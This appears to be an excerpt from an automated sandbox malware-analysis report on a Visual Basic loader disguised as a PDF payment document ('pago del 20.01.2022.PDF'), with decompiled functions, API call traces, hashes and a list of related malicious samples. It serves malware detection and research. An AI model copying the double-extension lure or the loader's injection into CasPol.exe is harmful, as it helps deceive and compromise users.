__vbaStrVarMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 00424044
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 0042404E
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 00424056
__vbaFreeStr.MSVBVM60(00424084,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 00424076
__vbaFreeStr.MSVBVM60(00424084,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 0042407E
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 004240A1
__vbaChkstk.MSVBVM60(00000000,004012B6,?,?,?,?,?), ref: 004240C1
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004012B6,?,?,?,?,?), ref: 004240D9
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 004240F1
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 0042411E
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F310,0000021C,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 0042414F
__vbaFreeObj.MSVBVM60(?,?,?,00000000,004012B6,?,?,?,?,?), ref: 00424160
__vbaFreeStr.MSVBVM60(00424184,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 0042417E

Strings

y, xrefs: 00424010

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$ChkstkCopyMove$#612CheckErrorHresultNew2Overflow
String ID: y
API String ID: 2334532704-434646578
Opcode ID: 3c8186c95476d0bc2ef9622158054304e3201ea6ddbba2ec33412f3dd510f999
Instruction ID: 8d28719fbbb80dbaf6ee998be367de4fabee69e218af920d63c3e9bc4bb64948
Opcode Fuzzy Hash: 3c8186c95476d0bc2ef9622158054304e3201ea6ddbba2ec33412f3dd510f999
Instruction Fuzzy Hash: 15413C70A00219ABCB00EF95D986FEEB7B8FF44744F60442AF501B72A1DB7C5945CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004241A1 Relevance: 22.6, APIs: 15, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E004241A1(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				char _v36;
				char _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v88;
				signed int _v92;
				char* _t49;
				signed int _t52;
				char* _t54;
				void* _t74;
				void* _t76;
				intOrPtr _t77;

				_t77 = _t76 - 0xc;
				 *[fs:0x0] = _t77;
				L004012B0();
				_v16 = _t77;
				_v12 = 0x401208;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x44,  *[fs:0x0], 0x4012b6, _t74);
				if( *0x427010 != 0) {
					_v88 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v88 = 0x427010;
				}
				_t49 =  &_v36;
				L004014F0();
				_v72 = _t49;
				_t52 =  *((intOrPtr*)( *_v72 + 0x1c0))(_v72, _t49,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x300))( *_v88));
				asm("fclex");
				_v76 = _t52;
				if(_v76 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x1c0);
					_push(0x40f280);
					_push(_v72);
					_push(_v76);
					L004014E4();
					_v92 = _t52;
				}
				L004014DE();
				_v60 = 0x40f4c4;
				_v68 = 8;
				L00401490();
				_push( &_v52);
				_push(0xb7);
				L00401496();
				L004014D2();
				L004014C0();
				_v60 = 0x40f4cc;
				_v68 = 8;
				L00401490();
				_t54 =  &_v52;
				_push(_t54);
				_push(0xda);
				L00401496();
				L004014D2();
				L004014C0();
				_push(0x424303);
				L0040142A();
				L0040142A();
				return _t54;
			}

0x004241a4
0x004241b3
0x004241bd
0x004241c5
0x004241c8
0x004241cf
0x004241de
0x004241e8
0x00424202
0x004241ea
0x004241ea
0x004241ef
0x004241f4
0x004241f9
0x004241f9
0x0042421d
0x00424221
0x00424226
0x00424231
0x00424237
0x00424239
0x00424240
0x0042425c
0x00424242
0x00424242
0x00424247
0x0042424c
0x0042424f
0x00424252
0x00424257
0x00424257
0x00424263
0x00424268
0x0042426f
0x0042427c
0x00424284
0x00424285
0x0042428a
0x00424294
0x0042429c
0x004242a1
0x004242a8
0x004242b5
0x004242ba
0x004242bd
0x004242be
0x004242c3
0x004242cd
0x004242d5
0x004242da
0x004242f5
0x004242fd
0x00424302

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 004241BD
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,?,004012B6), ref: 004241F4
__vbaObjSet.MSVBVM60(?,00000000), ref: 00424221
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,000001C0), ref: 00424252
__vbaFreeObj.MSVBVM60 ref: 00424263
__vbaVarDup.MSVBVM60 ref: 0042427C
#606.MSVBVM60(000000B7,?), ref: 0042428A
__vbaStrMove.MSVBVM60(000000B7,?), ref: 00424294
__vbaFreeVar.MSVBVM60(000000B7,?), ref: 0042429C
__vbaVarDup.MSVBVM60(000000B7,?), ref: 004242B5
#606.MSVBVM60(000000DA,?,000000B7,?), ref: 004242C3
__vbaStrMove.MSVBVM60(000000DA,?,000000B7,?), ref: 004242CD
__vbaFreeVar.MSVBVM60(000000DA,?,000000B7,?), ref: 004242D5
__vbaFreeStr.MSVBVM60(00424303,000000DA,?,000000B7,?), ref: 004242F5
__vbaFreeStr.MSVBVM60(00424303,000000DA,?,000000B7,?), ref: 004242FD

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$#606Move$CheckChkstkHresultNew2
String ID:
API String ID: 1655174829-0
Opcode ID: 406d241872ba001a9aa171019f07275fb4eeaeb14e574159f61c214a49da194e
Instruction ID: 82c3bebb744565173aac3c49b513b8bbdedbebc790a01cef3e18e56377801d22
Opcode Fuzzy Hash: 406d241872ba001a9aa171019f07275fb4eeaeb14e574159f61c214a49da194e
Instruction Fuzzy Hash: F641F670A10218EBCB10EFD1D985FADBBB4FF44748F60446AF101BB1A1DB78690ACB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8B5 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040E8B5(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				void* _v28;
				char _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v48;
				signed int _v52;
				char* _t32;
				signed int _t35;
				intOrPtr _t49;

				_a4 = _a4 - 0xffff;
				_push(0x4012b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t49;
				_push(0x20);
				L004012B0();
				_v12 = _t49;
				_v8 = 0x4011f8;
				L0040148A();
				if( *0x427010 != 0) {
					_v48 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v48 = 0x427010;
				}
				_t32 =  &_v32;
				L004014F0();
				_v36 = _t32;
				_t35 =  *((intOrPtr*)( *_v36 + 0x21c))(_v36, _t32,  *((intOrPtr*)( *((intOrPtr*)( *_v48)) + 0x310))( *_v48));
				asm("fclex");
				_v40 = _t35;
				if(_v40 >= 0) {
					_v52 = _v52 & 0x00000000;
				} else {
					_push(0x21c);
					_push(0x40f310);
					_push(_v36);
					_push(_v40);
					L004014E4();
					_v52 = _t35;
				}
				L004014DE();
				_v24 = 0x24cc;
				_push(0x424184);
				L0040142A();
				return _t35;
			}

0x0040e8b5
0x004240ab
0x004240b6
0x004240b7
0x004240be
0x004240c1
0x004240c9
0x004240cc
0x004240d9
0x004240e5
0x004240ff
0x004240e7
0x004240e7
0x004240ec
0x004240f1
0x004240f6
0x004240f6
0x0042411a
0x0042411e
0x00424123
0x0042412e
0x00424134
0x00424136
0x0042413d
0x00424159
0x0042413f
0x0042413f
0x00424144
0x00424149
0x0042414c
0x0042414f
0x00424154
0x00424154
0x00424160
0x00424165
0x0042416b
0x0042417e
0x00424183

APIs

__vbaChkstk.MSVBVM60(00000000,004012B6,?,?,?,?,?), ref: 004240C1
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004012B6,?,?,?,?,?), ref: 004240D9
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 004240F1
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 0042411E
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F310,0000021C,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 0042414F
__vbaFreeObj.MSVBVM60(?,?,?,00000000,004012B6,?,?,?,?,?), ref: 00424160
__vbaFreeStr.MSVBVM60(00424184,?,?,?,00000000,004012B6,?,?,?,?,?), ref: 0042417E

Memory Dump Source

Source File: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$CheckChkstkCopyHresultNew2
String ID:
API String ID: 2810356740-0
Opcode ID: 730cca6dce7bef4648ad4caff485bb65b20b3a4e45b86e653434970cca055645
Instruction ID: ee69a4e5ff602c95dbe3da76113479c14a282e44634bbd428c66f317e013cf24
Opcode Fuzzy Hash: 730cca6dce7bef4648ad4caff485bb65b20b3a4e45b86e653434970cca055645
Instruction Fuzzy Hash: A2215730A00218AFCB10DF95D84AFEEB7B4FF48708F60846AF101B72A1DB785845DB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 2132, Parent PID: 6452COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	96.4%
Signature Coverage:	0%
Total number of Nodes:	84
Total number of Limit Nodes:	8

Executed Functions

Function 00D0E5B1 Relevance: 1.7, APIs: 1, Instructions: 206threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-41C6ED25,-76B98133), ref: 00D0E6D0

Memory Dump Source

Source File: 0000000D.00000002.544077259.0000000000D0E000.00000040.00000001.sdmp, Offset: 00D0E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d0e000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 13ed901ec7029f916b110867bee62e31d5c36a1949ca95609467867bef4ed0f2
Instruction ID: c26b0c98bc1fce0eac6f1bfa0ba55b3b6cf17f85a763d56a432c17e08217f510
Opcode Fuzzy Hash: 13ed901ec7029f916b110867bee62e31d5c36a1949ca95609467867bef4ed0f2
Instruction Fuzzy Hash: 1B513875904316DFDF249F24D8D47A973A1EF91320F698A7AD8899B1E1D330C885C772

Uniqueness

Uniqueness Score: -1.00%

Function 1DB46903 Relevance: 6.2, APIs: 4, Instructions: 151
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 1DB469A0
GetCurrentThread.KERNEL32 ref: 1DB469DD
GetCurrentProcess.KERNEL32 ref: 1DB46A1A
GetCurrentThreadId.KERNEL32 ref: 1DB46A73

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 87ab64fee63710b85e6ff2ff71b7df7a982fc204640959af90a4edf8785c4de9
Instruction ID: 273503ac144ccae292ee625a4a68fdcdba3451dae79b35eb58ec91a388744532
Opcode Fuzzy Hash: 87ab64fee63710b85e6ff2ff71b7df7a982fc204640959af90a4edf8785c4de9
Instruction Fuzzy Hash: E1519DB0A097888FCB01CFA9D554BEEBFF1EF49310F24805AD14AAB361D7755844CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1DB46940 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 1DB469A0
GetCurrentThread.KERNEL32 ref: 1DB469DD
GetCurrentProcess.KERNEL32 ref: 1DB46A1A
GetCurrentThreadId.KERNEL32 ref: 1DB46A73

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 41b0e59749ed7077a56e3115d81ea8dc9bb8b6111b8994a7b54050703c34a4c8
Instruction ID: 2f2f86d1e24883143f97afb8ac84edddcc1900fca8e4e485116c6e16ce1f2d1b
Opcode Fuzzy Hash: 41b0e59749ed7077a56e3115d81ea8dc9bb8b6111b8994a7b54050703c34a4c8
Instruction Fuzzy Hash: 735149B0A04649CFDB40CFA9D544BEEBBF1EF48314F248059E50AA7350D7755844CF62

Uniqueness

Uniqueness Score: -1.00%

Function 00D0E63A Relevance: 1.6, APIs: 1, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32(-41C6ED25,-76B98133), ref: 00D0E6D0

Memory Dump Source

Source File: 0000000D.00000002.544077259.0000000000D0E000.00000040.00000001.sdmp, Offset: 00D0E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d0e000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 7ad944389e3e44c46b8a1ae2842eb820baa543547d767ae40a9d9667ed0b9967
Instruction ID: 26d4d50eb218716747bd8f43f92c736d5ec2144104b3e46f91da08a186823d5e
Opcode Fuzzy Hash: 7ad944389e3e44c46b8a1ae2842eb820baa543547d767ae40a9d9667ed0b9967
Instruction Fuzzy Hash: 51416AB4A05215CEDF249E10CCC47F933A1EF95320F298ABAE8495B2E2C330C8868771

Uniqueness

Uniqueness Score: -1.00%

Function 00D0E5D0 Relevance: 1.6, APIs: 1, Instructions: 123
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32(-41C6ED25,-76B98133), ref: 00D0E6D0

Memory Dump Source

Source File: 0000000D.00000002.544077259.0000000000D0E000.00000040.00000001.sdmp, Offset: 00D0E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d0e000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: e7b1e93334f270c61a4b2f009640970de3d8b2e905058cbe140dd6ffbdec03fb
Instruction ID: fafea29990631e25b81e96217ec55a2dd885e8fc2dea1360e047cdb4bb6edb8f
Opcode Fuzzy Hash: e7b1e93334f270c61a4b2f009640970de3d8b2e905058cbe140dd6ffbdec03fb
Instruction Fuzzy Hash: 6E413574A05325CFDF249E14D8D47BA73A2EF95320F698ABAD8495B1E2D330C8858772

Uniqueness

Uniqueness Score: -1.00%

Function 1DB45084 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1DB451A2

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 21d8dea0fdacd4dca3da78863ff0f057830d4008fb3d88d169988573592c1bbd
Instruction ID: 202cae3cb9ec6a33a615831407736642b963725084f7f811ca04e01317d0a9f1
Opcode Fuzzy Hash: 21d8dea0fdacd4dca3da78863ff0f057830d4008fb3d88d169988573592c1bbd
Instruction Fuzzy Hash: 1851D0B1D00209DFDB14CF99C884ADEBBF5FF88314F64812AE819AB610D775A885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1DB45090 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1DB451A2

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 9842fb06a756cc1ecbd9e86830b71f12df7b5dba24290c9a4fb8c92c53ac6285
Instruction ID: 215a6614c652bc0f8fe7405cb562358546622698a74db0d21940f20891f3905d
Opcode Fuzzy Hash: 9842fb06a756cc1ecbd9e86830b71f12df7b5dba24290c9a4fb8c92c53ac6285
Instruction Fuzzy Hash: C541C0B1D00209DFDB14CF99C884ADEBBF5FF88314F64812AE81AAB210D775A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00D0E6B2 Relevance: 1.6, APIs: 1, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32(-41C6ED25,-76B98133), ref: 00D0E6D0

Memory Dump Source

Source File: 0000000D.00000002.544077259.0000000000D0E000.00000040.00000001.sdmp, Offset: 00D0E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d0e000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 0aad018182354417db6d3fefd3fc949a46a93cd4664b77b80cd88f116e567df8
Instruction ID: 2868d950e79d61a6be28216a6f8076b23c3efecfb0b4366565dcd17fe07eb85e
Opcode Fuzzy Hash: 0aad018182354417db6d3fefd3fc949a46a93cd4664b77b80cd88f116e567df8
Instruction Fuzzy Hash: CF316B75A09216CFDF249E14D8947B973A1EF95320F1E8ABAD84D5B1E2C730C8898772

Uniqueness

Uniqueness Score: -1.00%

Function 1DB47780 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 1DB47F09

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 978ab52219e8290572451f652b3988df3ebe5b4fcf02f976e3ac52d56bfd7fb4
Instruction ID: c7f08410ed59dc4bd22d6fb6435951bf67a992c6465ea61037bae9dac5a27363
Opcode Fuzzy Hash: 978ab52219e8290572451f652b3988df3ebe5b4fcf02f976e3ac52d56bfd7fb4
Instruction Fuzzy Hash: B2414CB5E00245CFCB00CF59C484AAABBF5FF88314F24C559E51AAB321C735A841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DB46B61 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1DB46BEF

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 12ed71b41e0cc37264e28f3d586a8e0ad0032d2e8c002bfd49baa6c7f1659ba7
Instruction ID: 97415ca2385111b5779ac601f70c6119d06c561dceb5ca58a2207b1510941c0f
Opcode Fuzzy Hash: 12ed71b41e0cc37264e28f3d586a8e0ad0032d2e8c002bfd49baa6c7f1659ba7
Instruction Fuzzy Hash: 6621D2B5D002089FDB00CFAAD585AEEBBF4FF48320F14841AE915A7310D774A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 1DB4BE78 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 1DB4BF02

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 2567afec1a9b1230969065ddb352cba66ace4de23da4234308a9b0d7109d6c78
Instruction ID: 64f334503221147a8384e541eef3a8e7ccff2441db92e75ce8ae990f23f6908d
Opcode Fuzzy Hash: 2567afec1a9b1230969065ddb352cba66ace4de23da4234308a9b0d7109d6c78
Instruction Fuzzy Hash: 7421887190474A8FDB10CF69C9447DEBBF4FF45321F54842AD50AA7642C33A6918CF66

Uniqueness

Uniqueness Score: -1.00%

Function 1DB46B68 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1DB46BEF

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: bc0a5971e08ad9df2d6cb474c588a2ca89f6955edbd2820977b5260c0f07edc4
Instruction ID: 94b361c16dd79947cf6a4be95ccc048e81edc9503314944bcfca98c1d967f455
Opcode Fuzzy Hash: bc0a5971e08ad9df2d6cb474c588a2ca89f6955edbd2820977b5260c0f07edc4
Instruction Fuzzy Hash: CC21E0B5D002089FDB00CFAAD984ADEBBF4FB48310F14841AE915A7310D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DB4BE88 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 1DB4BF02

Memory Dump Source

Source File: 0000000D.00000002.548341205.000000001DB40000.00000040.00000001.sdmp, Offset: 1DB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1db40000_CasPol.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 52a8db2f82e07a164d41ea91d99f2f0b5e04b173c6ee632f0060ee7b0c0fd418
Instruction ID: efa46a22bc5866c05e59a0cbd349451433aa22458213eb71920d591b72cddb88
Opcode Fuzzy Hash: 52a8db2f82e07a164d41ea91d99f2f0b5e04b173c6ee632f0060ee7b0c0fd418
Instruction Fuzzy Hash: F611AC7090070A8FDB10CFA9C94879EBBF4FF45325F64842AD50AA7640C77A6918CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 1D95D53C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.548170372.000000001D95D000.00000040.00000001.sdmp, Offset: 1D95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d95d000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 947d3fae428ce5228824fbb829b0d4efad0658b616a9cab0dfcb6947015f6c13
Instruction ID: dbd5049d124124a80d68a1602ddb14e8be15b52f56a4d8ae32d4dabcbbb42988
Opcode Fuzzy Hash: 947d3fae428ce5228824fbb829b0d4efad0658b616a9cab0dfcb6947015f6c13
Instruction Fuzzy Hash: 542106B1504240DFDB02DF58D9C0B16BB66FB84318F24C57EE80A4B24AC376D857C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1D96D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.548207129.000000001D96D000.00000040.00000001.sdmp, Offset: 1D96D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d96d000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab46efc66f7d133453313298060d245f8f6c77d26e6221e50a7096ef331d8f8e
Instruction ID: e39be31b30a679b46dbb1c508a25dec03d70a669ba11450ec300244ad7554e49
Opcode Fuzzy Hash: ab46efc66f7d133453313298060d245f8f6c77d26e6221e50a7096ef331d8f8e
Instruction Fuzzy Hash: 7321D374604240DFDB06CF18D9C4B16BB65FB88214F24C96DD8094B246C336D886CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1D96D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.548207129.000000001D96D000.00000040.00000001.sdmp, Offset: 1D96D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d96d000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8dbcade3e239ce884ec7a7513e3aceb7641a5a3d5c9135a1810922173af3d3f
Instruction ID: 446a7c79d35b43a0d1277759922e9811e00979fbbb0c8ba8b2877cc414b9426a
Opcode Fuzzy Hash: e8dbcade3e239ce884ec7a7513e3aceb7641a5a3d5c9135a1810922173af3d3f
Instruction Fuzzy Hash: 14216D755083809FC703CF24D994B15BFB5EB86314F24C5AAD8498F296C33AD85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D95D537 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.548170372.000000001D95D000.00000040.00000001.sdmp, Offset: 1D95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d95d000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a304dae26da38cf07f5892afea9b614091784fc1812812f1626b8d7beb9044
Instruction ID: d5098da6d5b92de7a52ca735d18728869d1334d8221a99f9a45b45a6dbc2be8b
Opcode Fuzzy Hash: 13a304dae26da38cf07f5892afea9b614091784fc1812812f1626b8d7beb9044
Instruction Fuzzy Hash: F811B1B6504281CFCB02CF54D5C4B16BF62FB84324F24C6AED8494B25AC336D45BCBA2

Uniqueness

Uniqueness Score: -1.00%

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	BQhjVcTYBz.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	BQhjVcTYBz.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	28207748-2820.hta	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	Fax 00538471_pdf.html	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	Scanned from a Xerox Multifunction Printer.htm	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	1qq1InEPyW.dll	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	RAflB6a2EZ.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	9761572651.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	RAflB6a2EZ.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	9761572651.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	sanitizedhtmlmalware.html	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	pago del 20.01.2022.PDF______________________________________.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
